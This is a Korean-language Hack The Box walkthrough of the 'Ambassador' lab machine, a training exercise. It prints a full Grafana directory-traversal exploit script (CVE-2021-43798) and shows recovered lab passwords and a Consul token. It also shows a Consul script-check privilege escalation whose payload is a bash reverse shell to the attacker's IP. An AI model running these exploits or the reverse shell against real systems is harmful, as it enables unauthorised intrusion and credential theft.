[Hack The Box] Ambassador 풀이

3 λΆ„ μ†Œμš”

πŸ’‘ Hack-The-Box Ambassador 풀이 μž…λ‹ˆλ‹€.

문제

image

Enumeration

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop]
└─$ nmap -sV -p - -vv --min-rate 3000 10.129.228.56                   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 00:01 EST
NSE: Loaded 45 scripts for scanning.
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  ppp?    syn-ack
3306/tcp open  mysql   syn-ack MySQL 8.0.30-0ubuntu0.20.04.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 53.82 seconds

22,80,3000,3306 번 ν¬νŠΈκ°€ μ—΄λ €μžˆμŠ΅λ‹ˆλ‹€.

HTTP

image

νŠΉλ³„ν•˜κ²Œ μ‚΄νŽ΄λ³Ό 지점이 μ—†κΈ° λ•Œλ¬Έμ— subdirectory listing을 μˆ˜ν–‰ν•©λ‹ˆλ‹€.

image

subdirectory도 νŠΉλ³„ν•˜κ²Œ μ‚΄νŽ΄λ³Ό 지점이 μ—†μŠ΅λ‹ˆλ‹€.

3000번 포트둜 접속을 ν•΄λ΄…λ‹ˆλ‹€. GrafanaλΌλŠ” μ„œλΉ„μŠ€κ°€ λ‚˜μ˜΅λ‹ˆλ‹€.

image

Searchsploit

ν•˜λ‹¨μ— 버전 정보가 μ‘΄μž¬ν•˜κΈ° λ•Œλ¬Έμ— κ΄€λ ¨ μ΅μŠ€ν”Œλ‘œμž‡μ΄ μ‘΄μž¬ν•˜λŠ”μ§€ μ°Ύμ•„λ΄…λ‹ˆλ‹€.

searchsploit grafana

image

Directory Traversal and Arbitary File Read κ°€ κ°€λŠ₯ν•œ exploit μ½”λ“œκ°€ μ‘΄μž¬ν•©λ‹ˆλ‹€.

ν•΄λ‹Ή μ΅μŠ€ν”Œλ‘œμž‡μ„ λ‹€μš΄λ°›μ€ λ’€ μ½”λ“œλ₯Ό μ‚΄νŽ΄λ³΄λ©΄ λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€.

# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import requests
import argparse
import sys
from random import choice

plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    .. μƒλž΅
    "timeseries",
    "welcome",
    "zipkin"
]

def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }

    while True:
        file_to_read = input('Read file > ')

        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)

            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass

def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()

    try:
        exploit(args)
    except KeyboardInterrupt:
        return


if __name__ == '__main__':
    main()
    sys.exit(0)

μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œ μžμ²΄λŠ” κ°„λ‹¨ν•©λ‹ˆλ‹€. μ—¬λŸ¬ plugin_list μ€‘μ—μ„œ ν•˜λ‚˜λ₯Ό μ„ νƒν•œλ‹€μŒ λ‹€μŒκ³Ό 같이 경둜 접근을 μ‹œλ„ν•˜λ©΄ μ›ν•˜λŠ” νŒŒμΌμ„ 읽을 수 μžˆλŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€.

url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read

ν•΄λ‹Ή μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜μ—¬ /etc/passwdλ₯Ό μ½μ–΄λ΄…λ‹ˆλ‹€.

image

μ΅μŠ€ν”Œλ‘œμž‡ μ½”λ“œκ°€ λ™μž‘ν•©λ‹ˆλ‹€.

μ΄μ œλŠ” μ–΄λ– ν•œ νŒŒμΌμ„ 읽을지 고민을 ν•΄μ•Ό ν•©λ‹ˆλ‹€.

ν˜„μž¬ μ‹€ν–‰λ˜κ³  μžˆλŠ” μ„œλΉ„μŠ€(grafana)의 μ‹€ν–‰νŒŒμΌμ„ λ¨Όμ € 읽어 λ΄…λ‹ˆλ‹€. μ‹€ν–‰νŒŒμΌμ˜ κ²½λ‘œλŠ” /etc/grafana/grafana.ini μž…λ‹ˆλ‹€.

μ„€μ •νŒŒμΌμ•ˆμ— admin κ³„μ •μ˜ 정보가 λ…ΈμΆœλ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

image

id : admin
password : messageInABottle685427

image

λŒ€μ‹œλ³΄λ“œλ₯Ό 쑰금 μ‚΄νŽ΄λ³΄λ©΄ λ‹€μŒκ³Ό 같이 mysql λ°μ΄ν„°λ² μ΄μŠ€λ₯Ό μ‚¬μš©ν•œλ‹€λŠ” 것을 μ•Œ 수 μžˆμŠ΅λ‹ˆλ‹€.

image

image

grafana λ¬Έμ„œλ₯Ό 보면, μ„€μ •νŒŒμΌλ“€μ„ provisioning/datasources/ 경둜 μ•„λž˜μ— μ €μž₯ν•©λ‹ˆλ‹€.

image

λ”°λΌμ„œ mysql.yaml νŒŒμΌμ„ 읽어낼 수 μžˆμŠ΅λ‹ˆλ‹€.

Mysql

user : grafana
password : dontStandSoCloseToMe63221!

image

λ‹€μŒκ³Ό 같은 μ‚¬μš©μž 데이터가 μ‘΄μž¬ν•©λ‹ˆλ‹€.

image

λΉ„λ°€λ²ˆν˜Έκ°€ base64 인코딩 λ˜μ–΄ μžˆλŠ”κ²ƒμœΌλ‘œ 보여 디코딩을 ν•΄λ΄…λ‹ˆλ‹€.

image

id : developer
password : anEnglishManInNewYork027468

image

Privilege Escalation

developer κ³„μ •μ—μ„œ νŒŒμΌμ„ 확인해보면 .gitconfig파일이 μ‘΄μž¬ν•©λ‹ˆλ‹€.

image

/opt/my-appν΄λ”μ—μ„œ 깃을 μ΄μš©ν•œ μž‘μ—…μ„ ν•œκ²ƒμœΌλ‘œ 보이기 λ•Œλ¬Έμ— 확인을 ν•©λ‹ˆλ‹€

image

λ³€κ²½ 사항을 ν™•μΈν•©λ‹ˆλ‹€.

image

consul token : bb03b43b-1d81-d62b-24b5-39540ee469b5
# token 정보없이 consul을 μ‚¬μš©ν•  수 μ—†λ‹€.
developer@ambassador:/opt/my-app/whackywidget$ consul kv put a b
Error! Failed writing data: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:write' on "a")
# token 정보λ₯Ό 같이 μ£Όλ©΄ κΆŒν•œμ΄ ν—ˆμš©λœλ‹€.
developer@ambassador:/opt/my-app/whackywidget$ consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 test a
Success! Data written to: test
# λ‹€μŒμ²˜λŸΌ ν™˜κ²½λ³€μˆ˜λ‘œ 등둝해두고 토큰을 μ‚¬μš©ν•œλ‹€.
developer@ambassador:/opt/my-app/whackywidget$ export TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5

developer@ambassador:/opt/my-app/whackywidget$ consul kv get --token $TOKEN test
a

consul의 μ‹€ν–‰ κΆŒν•œ 및 μ„€μ • νŒŒμΌμ„ 확인해 λ΄…λ‹ˆλ‹€.

image

μš°μ„  ν”„λ‘œμ„ΈμŠ€λŠ” root κΆŒν•œμœΌλ‘œ μ‹€ν–‰λ˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

consul의 μ„€μ •νŒŒμΌμΈ /etc/consul.d/consul.hcl νŒŒμΌμ€‘ ν•˜λ‹¨μ˜ 섀정은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€.

image

enable_script_checkst = ture 섀정은 /etc/consul.d/config.d/ κ²½λ‘œμ— μžˆλŠ” λ‹€λ₯Έ 슀크립트 νŒŒμΌλ“€μ„ μžλ™μœΌλ‘œ μ‹€ν–‰μ‹œν‚¨λ‹€λŠ” μ˜΅μ…˜μž…λ‹ˆλ‹€.

λ”°λΌμ„œ ν•΄λ‹Ή κ²½λ‘œμ— exploit μ½”λ“œλ₯Ό μž‘μ„±ν•˜κ³  consul ν”„λ‘œμ„ΈμŠ€λ₯Ό μž¬μ‹œμž‘ ν•  수 μžˆλ‹€λ©΄, root κΆŒν•œμ„ νšλ“ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

ν•΄λ‹Ή νŒŒμΌμ€ json ν˜•νƒœλ‘œ μž‘μ„±ν•˜μ—¬ exploit.json파일둜 μ €μž₯ν•˜μ˜€μŠ΅λ‹ˆλ‹€.

{
  "check":{
    "name":"exploit",
    "args" : ["/usr/bin/bash","/tmp/shell.sh"],
    "interval" : "30s"
  }
}

/tmp/shell.shλŠ” λ‹€μŒκ³Ό 같이 μž‘μ„±ν•œλ’€, consul reload --toekn $TOKEN을 μž…λ ₯ν•˜μ—¬ consul을 μž¬μ‹œμž‘ ν•©λ‹ˆλ‹€.

bash -i >& /dev/tcp/10.10.14.28/4444 0>&1

reverse shell을 νšλ“ν•˜μ—¬ root flagλ₯Ό 얻을 수 μžˆμŠ΅λ‹ˆλ‹€.

image

λŒ“κΈ€λ‚¨κΈ°κΈ°